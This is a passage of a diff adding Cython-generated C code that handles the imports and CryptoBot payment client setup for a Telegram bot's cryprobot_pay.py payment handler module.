(unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_AioCryptoPay); + __Pyx_GIVEREF(__pyx_n_s_AioCryptoPay); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_AioCryptoPay)) __PYX_ERR(0, 3, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Networks); + __Pyx_GIVEREF(__pyx_n_s_Networks); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Networks)) __PYX_ERR(0, 3, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiocryptopay, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_AioCryptoPay); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_AioCryptoPay, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Networks); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Networks, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":4 + * + * from aiocryptopay import AioCryptoPay, Networks + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_F)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_Router)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_types)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":5 + * from aiocryptopay import AioCryptoPay, Networks + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_3) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":6 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_State)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_State); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":7 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_3) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":8 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * from aiohttp import web + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 8, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_2) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":9 + * from aiogram.types import InlineKeyboardButton + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web # <<<<<<<<<<<<<< + * + * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_web); + __Pyx_GIVEREF(__pyx_n_s_web); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_web)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiohttp, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_web, __pyx_t_3) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":11 + * from aiohttp import web + * + * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT # <<<<<<<<<<<<<< + * from database import ( + * add_connection, + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_CRYPTO_BOT_ENABLE); + __Pyx_GIVEREF(__pyx_n_s_CRYPTO_BOT_ENABLE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_CRYPTO_BOT_ENABLE)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_CRYPTO_BOT_TOKEN); + __Pyx_GIVEREF(__pyx_n_s_CRYPTO_BOT_TOKEN); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_CRYPTO_BOT_TOKEN)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_RUB_TO_USDT); + __Pyx_GIVEREF(__pyx_n_s_RUB_TO_USDT); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_RUB_TO_USDT)) __PYX_ERR(0, 11, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CRYPTO_BOT_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CRYPTO_BOT_ENABLE, __pyx_t_2) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CRYPTO_BOT_TOKEN); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CRYPTO_BOT_TOKEN, __pyx_t_2) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_RUB_TO_USDT, __pyx_t_2) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":13 + * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 13, __pyx_L1_error); + + /* "handlers/payments/cryprobot_pay.py":12 + * + * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":19 + * update_balance, + * ) + * from handlers.payments.gift import PROJECTMANECONGIGURE # <<<<<<<<<<<<<< + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_PROJECTMANECONGIGURE); + __Pyx_GIVEREF(__pyx_n_s_PROJECTMANECONGIGURE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_PROJECTMANECONGIGURE)) __PYX_ERR(0, 19, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PROJECTMANECONGIGURE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROJECTMANECONGIGURE, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":20 + * ) + * from handlers.payments.gift import PROJECTMANECONGIGURE + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 20, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":21 + * from handlers.payments.gift import PROJECTMANECONGIGURE + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 21, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_2) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":22 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_logger)) __PYX_ERR(0, 22, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":24 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":27 + * + * + * if CRYPTO_BOT_ENABLE: # <<<<<<<<<<<<<< + * crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_CRYPTO_BOT_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_4) { + + /* "handlers/payments/cryprobot_pay.py":28 + * + * if CRYPTO_BOT_ENABLE: + * crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_AioCryptoPay); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_CRYPTO_BOT_TOKEN); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_token, __pyx_t_5) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_Networks); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_MAIN_NET); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_network, __pyx_t_6) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if 